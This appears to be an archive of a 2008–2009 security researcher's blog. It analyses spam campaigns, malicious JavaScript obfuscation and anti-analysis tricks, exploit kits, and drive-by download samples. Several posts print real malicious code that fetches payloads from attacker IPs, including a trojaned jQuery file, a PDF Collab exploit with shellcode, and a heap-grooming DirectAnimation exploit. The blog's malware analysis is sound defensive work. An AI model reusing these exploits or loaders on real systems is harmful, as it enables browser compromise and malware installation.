Marco's Blog

"Presidential" spam

Mon, 26 Oct 2009 19:53:00 GMT

A technique often used by spammers to attempt to get their messages past spam filters consists of mixing the questionable content they advertise with legitimate text. This type of attack is sometimes called Bayesian poisoning since it is believed to specifically target spam filters that rely on Bayesian classifiers.

An example where this technique is applied is a message I received today:

I stand here today humbled by the task before 
<a href=http://www.bawwgt.com>dofus kamas</a>, grateful for the trust you
have bestowed, mindful of the sacrifices borne by our 
<a href=http://www.bawwgt.com>cheap dofus kamas</a>. I thank President 
<a href=http://www.bawwgt.com>dofus power leveling</a> for his service to
<a href=http://www.bawwgt.com>buy dofus kamas</a>, as well as the
generosity and cooperation he has shown throughout this transition.

This message consists of the first few sentences from Barack Obama's inaugural address, where a few words have been substituted with links to the www.bawwgt.com web site. This web site appears to be in the business of selling Kamas, the currency used in the MMORPG game Dofus, and, judging by its graphics, items from other online worlds.

Note that spam messages themed after Obama's inauguration ceremony were used by the Waledac gang to spread its malware back in January this year. If this is a trend, should we expect spam and malware to become one more reason for heated political debates?

YourBizBegin spam campaign on Facebook

Mon, 19 Oct 2009 12:24:00 GMT

A fairly successful spam campaign is currently active on Facebook. The campaign advertises the web sites YourBizBegin.com and YourBizStart.com, which promise easy money for working from home. Googling for the site names shows various reports and complaints, for example, the ones on hkactivity, RipoffReport, and Google.

The picture above shows a (sanitized) screenshot of a couple of messages that appeared on a compromised account. The text of all the spammed messages I have seen are similar to the ones shown above. The only variations I have observed so far are in the dollar amounts and the 3-letter signatures.

The web sites YourBizBegin.com and YourBizStart.com appear to be just front-ends for www.HomeBizOffer.net. HomeBizOffer.net pushes a "Google Profit Club Kit," which, according to the site itself, should enable one to make an easy $200–$943 per day via Google ads. Downloading the kit costs only $3.95 of processing fee. Needless to say, the fine print at the bottom of the pages discloses that a membership rate of $74.93 is charged monthly. Furthermore, the terms of use and privacy policy terms on homebizoffer.net points at another web site, secureweboffer.com.

Here is some more information about the involved web sites:

yourbizbegin.com, registrant: HAIJUN ZHAO, IP: 121.199.253.194 (TIMENET BeiJing Sincerity-times Network Technology Project Ltd.)
yourbizstart.com, registrant: HAIJUN ZHAO, IP: 121.199.253.122 (same)
homebizoffer.net, registrant: JIANG ZHAO, IP: 121.199.253.125 (same)
secureweboffer.com, registrant: DomainsByProxy, IP: 174.143.244.146 (RMH-14 - Rackspace.com, Ltd.)

JavaScript anti-analysis tricks: last-modified

Wed, 14 Oct 2009 10:45:00 GMT

Writers of malicious JavaScript code have always been keen on developing novel ways to make the analysis of their code harder. One of the most commonly used mechanisms to do so is (no surprise here) simple obfuscation. For example, malware authors commonly encode string literals with custom schemes. A decoding routine then de-scrambles the strings before using them further (for example, as the URL of the next step of an attack or as the CLSID of a vulnerable ActiveX control).

Interestingly, malware authors have also introduced various techniques to make the basic deobfuscation step more difficult, in particular, if performed in an off-line analysis environment, which, for example, examines the pages saved during a crawling session.

One of the earliest trick consists of using the URL of the obfuscated page as a decoding key in the deobfuscation routine. More recently, other techniques have also been used. One I have seen lately uses the time of the last modification of the page in the decoding routine.

Consider, for example, the following script:

<html><body><script>
var gtvwx=true,abwz="",gnru=false,
  bfqrv=document.lastModified.split("/"),
  dilp=String,
  cjltu=bfqrv[2].split(":"),
  acinqu=dilp['f#r(o#mZC#h#aZrZC(o,d#e('.replace(/[\\(Z,G#]/g,'')],
  gnty=bfqrv[0]+"25"+cjltu[2],
  ckoxz=window,cklqry=0,klny="",
  bfkw=ckoxz['euv9a2lS'.replace(/[S2u9@]/g,'')],
  fopv=[150,173,160...90,94,111],
  ailmux=function(){
    for(var ehlt;cklqry<fopv.length;cklqry++){
        klny+=acinqu(fopv[cklqry]-
          gnty.substring(cklqry%gnty.length,cklqry%gnty.length+1).charCodeAt(0));
        bfkw(klny);
  };
ailmux();
</script></body></html>

The code reads the time the page was last modified from the document.lastModified property. This property is initialized from the value of the Last-Modified header sent from the web server serving the page. The script then parses the time and extracts the number of seconds from the time string into the cjltu variable. The seconds value is then used to compute the value of the gnty variable, which is used in the decoding routine to recover the in-the-clear text from the encoded array fopv..

These are the Wepawet reports for a couple of sites that use this techniques: report for hxxp://www.pipisechka.com/sleep/news.php and report for hxxp://day-evryday.cn/news.php

Mutu campaign on BlogSpot

Sat, 10 Oct 2009 08:33:00 GMT

A new malware campaign is currently abusing BlogSpot. I'll call it the "Mutu" campaign from the text that is found on the malicious pages. I have so far detected almost 400 blogs that are actively involved in the campaign.

A malicious blog looks like the following picture. Note that the actual text, layout, and color themes may vary across different pages.

A malicious page contains a script tag similar to the following:

<script language="javascript">
location.href='\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f'
  + unescape('%77%77%77%2e%78')+unescape('%78%78%6f%64')
  +'\\u006e\\u006f\\u006b\\u006c\\u0061\\u0073'+'sniki'
  +unescape('%2e%63%6f%6d%2f')+unescape('%3f%61%64')
  +unescape('%76%3d%67%61%72')+'bunov'+''
</script>

The script causes the victim's browser to fetch a malicious (or at least dubious) page from one of several domains. These are the domains that are currently being redirected to:

afsharteam1.com
mihavom.cn
news.allwinsoft.ru
relstagu.ru
www.pillsonlinerxhealth.net
www.xxxodnoklassniki.com

Some of these domains appear to be selling various items (cell phone, drugs). However, others (at least afsharteam1.com) launch drive-by-download attacks. As a result, a malware with limited and generic detection on VirusTotal gets downloaded and launched on the vicitm's machine. For more details, see the Wepawet report for bertilladingman36429.blogspot.com, a blog that redirects to drive-by attacks.

Old exploit still kicking (CVE-2004-0380)

Fri, 09 Oct 2009 00:34:00 GMT

Some exploits just do not want to go away.

Case in point is an exploit for CVE-2004-0380 (yes, 2004!) that I have recently found in hxxp://lixiaoxia.vhost008.cn/2.htm. The page is rather simple:

<html>
<OBJECT style="display:none;" type="text/x-scriptlet" 
  data="&#77&#75&#58&#64&#77&#83&#73&#84&#83&#116&#111&#114&#101&#58&#109
    &#104&#116&#109&#108&#58&#99&#58&#92&#46&#109&#104&#116&#33&#104&#116
    &#116&#112&#58&#47/http://lixiaoxia.vhost008.cn/logo.jpg ::/102%2E%68tm">
</OBJECT>
</body>
</html>

The object tag instantiates a scriptlet. A scriptlet is essentially a reusable object written as a regular web page in which scripts follow certain conventions. Think of ActiveX controls implemented in HTML and VB script. For the sake of historical completeness, scriptlets were introduced in Internet Explorer 4, deprecated in Internet Explorer 5, and disabled by default in Internet Explorer 7. Talk about a successful technology...

After a simple decoding step, the data attribute of the scriptlet reveals the content MK:@MSITStore:mhtml:c:\\.mht!http://http://lixiaoxia.vhost008.cn/logo.jpg ::/102.htm, which, on a vulnerable system, would cause the malware logo.gif to be downloaded on the victim's computer.

The malware logo.gif has surprisingly good detection on VirusTotal (34/41!). I wonder if it is also been around since 2004...

Liberty exploit toolkit

Thu, 08 Oct 2009 09:03:00 GMT

Here is another exploit toolkit that has been making the rounds recently: the Liberty exploit pack. Most notably, in mid-September, Liberty was used in a drive-by-download campaign that injected iframes pointing at searra-ditol.cn and embrari-1.cn into a large number of vulnerable web sites.

A couple of pages from the toolkit admin panel:

The browser statistics page:
The referrer statistics page:

Finally, you can see the Wepawet domain report for searra-ditol.cn and for embrari-1.cn.

JavaScript anti-analysis tricks: 404 status code

Sun, 04 Oct 2009 22:24:00 GMT

Here is an old trick for foiling manual and automated analysis of malicious pages that I still see used from time to time. When the malicious page is requested, the server sends back a 404 ("Not Found") HTTP status code. Regularly, this error message indicates that the requested resource could not be found on the server, and the returned page simply tries to help the visitor correcting the error. However, in the case of malicious pages that use this trick, the body of the apparently missing page contains code that attempts to exploit some browser vulnerabilities or to redirects to other malicious web sites.

The following is an example of a page (hxxp://yahoo-analytics.net/laso/s.php) that uses this technique:

HTTP/1.1 404 Not Found
Date: Tue, 29 Sep 2009 07:26:41 GMT
Server: Apache/2
Last-Modified: Tue, 01 Sep 2009 12:55:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 133
Content-Type: text/html

<iframe src="http://213.163.89.54/lib/index.php" 
   width=0 height=0
   style="hidden" 
   frameborder=0 marginheight=0 marginwidth=0
   scrolling=no>
</iframe>

The headers indicate that the page is missing, but the body contains an iframe that redirects the browser to a page that launches various browser exploits. Of course, stopping the analysis after observing the 404 error code would not reveal any wrongdoing. A complete analysis instead (see the Wepawet report for hxxp://yahoo-analytics.net/laso/s.php for all the details) shows that after the redirection a malicious PDF and Flash files are delivered to the visitor's browser.

SEO to the top

Fri, 02 Oct 2009 11:52:00 GMT

A couple of days ago, Stephan Chenette of Websense had a nice post out on an active SEO campaign (in the following days, Websense has also released an alert to discuss how the campaign abuses the launch of Google Wave).

I am also following this campaign, which seems quite widespread, in terms of the number of web sites and search terms that are involved. Unfortunately, the campaign is also successful in pushing some of its malicious pages high up in the results returned for popular query terms by Google.

Here is a case where they even make it to the top spot:

As explained in Chenette's post, the malicious results (in red in the figure above) redirect to sites that push rogue AV software.

No doubt, the taste of that John Dory is going to be quite... sour.

Rogue AV...via Skype

Thu, 01 Oct 2009 11:20:00 GMT

A new (at least for me) twist on the distribution of rogue AV software. Skype user online.notification.america17, whose full name is, cleverly enough, Online Notification, sent me a chat (see below) to inform me that the "Security Center has detected malware on my computer".

The URL that is referenced in the message (www.securonline.net) is currently down, but is listed in several blacklists, for example, hpHosts and WOT.

A gallery of fake koobface pages

Tue, 29 Sep 2009 09:07:00 GMT

Long time, no write... but I thought this could be a good occasion to start again.

It looks like the Koobface people have been busy updating their social engineering tricks. But let's start from the beginning. I was inspecting fnplbpnbvxqjrey.blogspot.com, a BlogSpot's blog that Wepawet flagged as suspicious and involved in pushing Koobface (see the Wepawet report for fnplbpnbvxqjrey.blogspot.com). At first sight, the blog appears to be just one of the many BlogSpot pages involved in this activity.

However, a closer look at the source code of the page reveals something interesting. The code responsible for actually redirecting to Koobface is a fairly recent variant (I have seen it used as early as 2009-09-12). Here is a slightly simplified listing of this code:

var ogxbjeqrihscndvz6 = [ /* list of server IPs */ ];
var mzvtonlxsjprcb5 = '';

cvuhxdinmlqjoeft1();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
  n = parseInt(location.href.substr(n + 4));
  if (n < 101) 
    js = '/cnet';
  else if (n < 201) 
    js = '/warn';
  else if (n < 301) 
    js = '/scan';
  else if (n < 401) 
    js = '';
}
for (var onwxklrqhybjvpase3 = 0; 
     onwxklrqhybjvpase3 < ogxbjeqrihscndvz6.length; 
     onwxklrqhybjvpase3 ++) {
  var ypcovhrtbmn8 = document.createElement('script');
  ypcovhrtbmn8.type = 'text/javascript';
  ypcovhrtbmn8.src = 'http://' + ogxbjeqrihscndvz6[onwxklrqhybjvpase3] + 
    '/go' + '.js' + '?0x3' + 'E8' + mzvtonlxsjprcb5 + js + '/' + 
    (location.search.length > 0 ?  location.search : '');
  document.getElementsByTagName('head')[0].appendChild(ypcovhrtbmn8);
}

The script loops over an array that holds the IPs of compromised machines where visitors of the malicious blog will be redirected to. For each IP, an HTML script tag is added to the page. The tag is set to point to a URL on the compromised IP. Depending on certain conditions, the path of the URLs will contain one of the following strings: /view, /cnet, /warn, /scan. When the redirection finally is triggered, the victim is presented with a different page, depending on which of these strings was included in the URL.

All the pages attempt to social engineer visitors into downloading and installing the Koobface malware. Here are screenshots that show the tricks they use:

Classic Facebook fake video page
Fake YouTube (actually, YuoTube) page (/view)
Fake CNET page (/cnet)
Fake scan page (/scan)
And, my favorite, the self-referential fake page on Facebook that warns about the Koobface malware (/warn):

Just a few more aces up Koobface's sleeve...

JavaScript anti-analysis tricks: IE conditional compilation

Wed, 06 May 2009 00:46:00 GMT

An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.

Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.

Here is an example of how conditional compilation is used in drive-by downloads:

/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
    "/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?";
var result = "";
for(var i=0;i<source.length;i++)
    result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/

The cc_on statement enables conditional compilation. The @if statement checks that the browser is running on a Win32 system. If this is the case, then the following JavaScript block is interpreted, otherwise it is simply ignored. The code block is a classic deobfuscation routine that produces the following text:

<script type="text/javascript" 
    src="http://95.129.144.229/stats/stats.js"></script>

This script tag fetches a script that redirects to a number of pages serving exploits.

What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.

The full report for the example is available on Wepawet.

JavaScript anti-analysis tricks: /textarea

Fri, 01 May 2009 10:23:00 GMT

Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.

Some of the earliest defensive techniques are directed against the manual analysis of malicious code. For example, a quick analysis technique consists of wrapping the script's code into textarea tags so that deobfuscated code is written into the textarea and can be quickly inspected and copy-and-pasted for further analysis. In this case, the textarea is essentially used as a poor-man sandbox. Something the bad guys figured out quickly was that all they needed to do to defeat this technique was to close the textarea tag before performing any other action.

Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:

document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\\bhgft=1/) == null)
    for (i = 0; i < 2; i++)
        document.write("<script>if(_)" +
            "document.write(\\"<script id=_" + i + "_ src=//" + a[i]" + 
            "/cp/?" + navigator .appName.charAt(0) + 
            "><\\\\/script>\\")<\\/script>");

(see full report on Wepawet)

The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.

Malicious "jquery"

Sun, 26 Apr 2009 21:25:00 GMT

A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.

For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js. At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.

/*
 * jQuery JavaScript Library v1.3.1
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
 */
(function(){var l=this,g,y=l.jQu...

However, the malicious code is hidden toward the end of the script, where one finds:

if( (typeof(jquery_data)!=typeof(1)) && 
    (document.cookie.match(/\\miek=1/)==null))
  document.write(
    unescape('fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E')
      .replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,"")
      .replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;

This code determines whether an attack has already been launched, by checking the jquery_data variable and the miek cookie. If not, it deobfuscates a long string and writes it in the current page. The deobfuscated string creates a new script tag which points at hxxp://94.247.2.195/news/?id= The value of the id parameter in the script URL is 100 if the codename of the browser starts with the letter M (e.g., Firefox and Internet Explorer), 101 in all other cases. This page, in turn, attempts to launch a number of exploits (see the Wepawet report). The exploits target vulnerabilities in MDAC, PDF, and SWF.

It's certainly true: thing are not always what they seem...

Yes exploit toolkit

Fri, 03 Apr 2009 18:39:00 GMT

It is well known that most drive-by downloads rely on exploit toolkits to fingerprint the victim's browser, identify the right exploits to launch, obfuscate the exploit code, and send it to the target.

Different exploit toolkits compete with each other on several of features. Obviously, the number and reliability of exploits. But also on user friendliness and look and feel. As evidence of this, check the interface of the Yes exploit toolkit:

No question, they spent some time on that desktop-like, web 2.0 interface...

Skype spam

Mon, 26 Jan 2009 23:16:00 GMT

Apparently years after everybody else, today I've got my first spam message on Skype. Nothing too surprising: a funny named, scanty clothed "spicy naked Dive-Teacher" abruptly but insistently invited me to visit a dubious web site. My attempts to strike a conversation with her failed miserably, as a consequence, I suppose, of my slow reaction to her invitation. Oh, well.

UCSB CTF 08

Sun, 07 Dec 2008 11:42:00 GMT

This Friday, we hosted the 2008 edition of the UCSB international Capture The Flag (iCTF) competition. The iCTF is an 8-hour, distributed, security exercise for University teams. This year, 39 teams from 9 countries participated.

The theme of this year's edition was inspired by the 24 TV series. Each team had to break into a computer network controlled by a criminal organization to prevent a bomb from exploding. Each team had access to a separate (but identical) version of the criminal's network. Before reaching the host controlling the bomb, the teams had to compromise a web server, a financial server, and a development site, for a total of 7 services. Besides the main services to break into, teams had to solve 13 challenges in 4 categories (trivia, binary, forensics, and reverse engineering) to gain points. Points could be used to buy hints to break the services hosted on the network.

The final ranking was based on whether a team completed the mission of defusing the bomb and on the number of available points. The top 3 teams were:

ENOFLAG, Technische Universitaet Berlin, Germany
SiBears, Tomsk State University, Russia
KinkyKoders, UC Santa Barbara, USA

Congratulations to ENOFLAG and all teams that participated in the competition. See you again next year!

Note: more information and resources are available on the official CTF page.

Malicious PDFs

Thu, 13 Nov 2008 13:56:00 GMT

Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.

PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:

pdftk us.pdf output us.clear.pdf uncompress

Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:

function re(count,what) 
  var v = "";
  while (--count >= 0) v += what;
  return v;
} 
function start() {
var sc = unescape(
  "%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
  "%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
  "%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
  ...
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
  plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    unescape("%u0b0b%u0028%u0aeb%u0aeb") + 
    unescape("%u9090%u9090") + 
    re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    sc + 
    re(1256,unescape("%u4141%u4141"));
} 
else 
{
  ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
  plin = re(80,unescape("%u9090%u9090")) + 
    sc + 
    re(80,unescape("%u9090%u9090"))+ 
    unescape("%ue7e9%ufff9")+
    unescape("%uffff%uffff") + 
    unescape("%uf6eb%uf4eb") + 
    unescape("%uf2eb%uf1eb");
  while ((plin.length % 8) != 0)
    plin = unescape("%u4141") + plin;
  plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);

The code exploits a vulnerability in the collectEmailInfo method of the Collab object (CVE-2007-5659). The shellcode used in the attack downloads an executable file from the same site. Anubis has some interesting details on the behavior of this executable.

Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens' post on how he used the incremental updates feature to reconstruct how the malicious file was created.

18, 25 exploits: who gives more? Oh, and 2 bugs.

Wed, 29 Oct 2008 00:40:00 GMT

Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.

if (
   office() ||
   dl() ||
   pdf() ||
   wme() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here are the exploits we haven't already seen:

The recent Windows Media Encoder (A8D3AD02-7508-4004-B2E9-AD33F087F43C) buffer overflow (CVE-2008-3008).
Yahoo! Webcam Uploader (9D39223E-AE8E-11D4-8FD3-00D0B7730277) buffer overflow via long server property followed by an invocation of the receive method (CVE-2007-3147).
Yahoo! Webcam Viewer (DCE2F8B1-A520-11D4-8FD0-00D0B7730277) buffer overflow via long server property followed by an invocation of the send method (CVE-2007-3148).
Aurigma/Facebook Photo Uploader (5C6698D9-7BE4-4122-8EC5-291D84DBD4A0) overflow in the ExtractIptc and ExtractExif properties (CVE-2008-0660).
ActiveVoice (EEE78591-FE22-11D0-8BEF-0060081841DE) buffer overflow via long ModeName parameter in the FindEngine function (CVE-2007-2222).

The second page has 25 exploits:

if (
   mdac() ||
   dl() ||
       flash() ||
   pdf() ||
   wme() ||
   wfi() ||
   com() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   cr1() ||
   cr2() ||
   cr3() ||
   cr4() ||
           creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here, the "new" ones are:

iMesh (7C3B01BC-53A5-48A0-A43B-0C67731134B9) overflow in SetHandler method (CVE-2007-6493).
Stack-based overflow in Ask Toolbar (5A074B2B-F830-49de-A31B-5BB9D7F6B407) (CVE-2007-5107).
Stack-based overflow in IncrediMail IMMenuShellExt control (F8984111-38B6-11D5-8725-0050DA2761C4) via DoWebMenuAction function (CVE-2007-1683).

Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.

First, the function cr3 instantiates the control 07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property ShortFormat. This property doesn't seem to exist. ShortFormat is, instead, the attack vector for the exploit against the Ask Toolbar (included in the cr2 function). It's probably a case of wrong copy-and-paste.

function cr3() {
try {
  var obj = null;
  obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
  if(obj) {
    ms2();
    arg1 = unescape("\\x0c");
    while(arg1.length<0x200) arg1+=unescape("\\x0c");
    obj.ShortFormat = arg1;
  }   
} catch(e) {}
return 0;
}

Second, and this is present in both pages, the mdss function gets wrong its memory allocation. In fact, it creates a string (in the buf variable) and doubles its length in a loop that should execute 9999 times. Of course, this doesn't bode well: the machine will likely lock up before the offending process goes out of memory and, finally, gets killed.

function mdss(){
  try {
    var obj=null;
    obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
    if(obj){
      ms();
      var buf = addr(0x0c0c0c0c);
      for (i=1;i<=9999;i++)
      buf += buf;
      EngineID="default";
      ...

Interestingly, the original milw0rm exploit did the right thing:

var buf = unescape("%u4141"); 
while (buf.length <= 261) buf = buf + unescape("%u4141");

Probably, another case of wrong copy-and-paste...

17 exploits and some Feng Shui

Thu, 16 Oct 2008 23:15:00 GMT

It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?

<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
  return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}  
function sK5tVpH6uQTNjz(VqiKaGXn){
  var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
    CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
    gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
    OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
      17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
      0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
      56,0,26,21,24,60,18,23,25);
  for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
    LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--) 
  {
    for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
      CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--) 
    {
      qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
      if(gkkYR9OOwch6) {
        W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
        qyBlQcNBGEVh0>>=8;
        gkkYR9OOwch6-=2;
      } else{
        gkkYR9OOwch6=6;
      }
    }
  }
  return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
  ... 
  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>

After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:

if (
    mdac() ||
    office() ||
    dl() ||
    pdf() ||
    wfi() ||
    com() ||
    creative() ||
    wks() ||
    ogame() ||
    ca() ||
    buddy() ||
    gomweb() ||
    xmlcore() ||
    quick() ||
    real() ||
    ntaudio()
     || dani()
    ) {}

The exploits are targeting:

MDAC vulnerability (CVE-2006-0003) and similar. The list of affected classids is suspiciously identical to the corresponding milw0rm's exploit.
WebViewFolder setSlice vulnerability (CVE-2006-3730).
CreateControlRange vulnerability (CVE-2005-0055).
DirectAnimation PathControl vulnerability (CVE-2006-4777).
Snapshot Viewer vulnerability (CVE-2008-2463). Thirteen different Windows versions (languages) are supported.
Sina Downloader.DLoader.1 vulnerability (BID-30223).
WksPictureInterface vulnerability (CVE-2008-2898).
Ourgame IEStartNative vulnerability (SA-30469).
CA AddColumn vulnerability (BID-28268).
SuperBuddy LinkSBIcons vulnerability (CVE-2006-5820).
GomPlayer OpenURL vulnerability (CVE-2007-5779).
XMLHTTP setRequestHeader vulnerability (CVE-2006-5745).
QuickTime RTSP vulnerability (CVE-2007-6166).
RealPlayer Console vulnerability (CVE-2008-1309).
NCTAudioFile2 SetFormatLikeSample vulnerability (CVE-2007-0018).
Creative CacheFolder vulnerability (CVE-2008-0955).
collab.CollabEmailInfo vulnerability (CVE-2007-5659 or CVE-2008-0655).

Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:

function dani() {
    try{
        obj=cobj("DirectAnimation.PathControl");
        if(obj){
            ms();
            init();
            var jmpecx = 0x0c0c0c0c;
            var vtable = addr(0x7ceb9090);
            for (var i = 0; i < 124/4; i++) 
                vtable += addr(jmpecx);
            vtable += padding.substr(0, (1008-138)/2);
            var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
            var fakeObjChunk = padding.substr(0, 
                (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
            CollectGarbage(); 
            flush();
            for (var i = 0; i < 100; i++)
                alloc_str(vtable);
            alloc_str(vtable, "lookaside");
            free("lookaside");
            for (var i = 0; i < 100; i++)
                alloc(0x2010);
            for (var i = 0; i < 2; i++) {
                alloc_str(fakeObjChunk);
                alloc_str(fakeObjChunk, "freeList");
            }       
            alloc_str(fakeObjChunk);
            free("freeList");
            obj.KeyFrame(0x40000801, new Array(1), new Array(1));
        }
    }catch(e){}
    return 0;
}

In all cases, the binary to be downloaded lives at http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most anti-virus

Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.

DOM-based obfuscation in malicious JavaScript

Wed, 15 Oct 2008 23:30:00 GMT

A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.

Here's the code of the malicious page (from reddii.ru):

<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
    dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>

As it's typically done, this code just acts as the decoding routine for the actual exploit code, which is obfuscated. However, in this case, the obfuscated code is stored and dynamically retrieved from the HTML code surrounding the JavaScript code. More precisely, the decoding routine retrieves the value of the attribute value of the HTML element with id vimamikolu2. This string is evaluated via eval: this defines the array kekin1. Then, the code applies String.fromCharCode to each element of the array (xored with a constant value), and writes the result back to the page.

While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!

The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):

function goMDAC() {
    ...
}
function goPDF() {
    wnd=window;
